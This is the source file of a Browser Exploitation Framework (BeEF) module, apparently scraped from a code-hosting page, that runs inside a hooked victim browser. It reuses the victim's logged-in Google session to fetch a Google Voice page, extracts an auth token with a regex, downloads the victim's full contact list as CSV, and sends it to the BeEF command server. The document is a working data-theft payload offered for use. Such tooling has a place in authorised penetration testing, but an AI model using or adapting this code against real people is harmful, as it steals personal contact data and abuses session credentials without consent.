Path: blob/master/modules/chrome_extensions/grab_google_contacts/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var regContacts = '("AuthToken":{"Value":")(.*)("}}};)';8function grabCSV(token){9var csv = new XMLHttpRequest();10csv.open("GET", "https://www.google.com/voice/c/b/X/data/export?groupToExport=%5EMine&exportType=ALL&out=GMAIL_CSV&tok="+token,false);11csv.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3");12csv.send();13return csv.responseText14}1516function toolContact(v) {17var re = new RegExp(regContacts);18var m = re.exec(v);19if (m != null) {20tmpCSV = grabCSV(m[2])21params = "email=email&csv="+tmpCSV;22beef.net.send('<%= @command_url %>', <%= @command_id %>, tmpCSV);23}24}2526function grabContacts(){27var client = new XMLHttpRequest();28client.open("GET", "https://www.google.com/voice/c/b/X/ui/ContactManager" ,false);29client.setRequestHeader("Content-Charset", "ISO-8859-1,utf-8;q=0.7,*;q=0.3");30client.send();31if(client.status != 200){ // if the victim is not authenticated in Google, a 403 Forbidden error is received.32beef.net.send('<%= @command_url %>', <%= @command_id %>, 'The victim is not logged in Google.');33}else{ //proceed34toolContact(client.responseText);35}36}3738grabContacts();39});40414243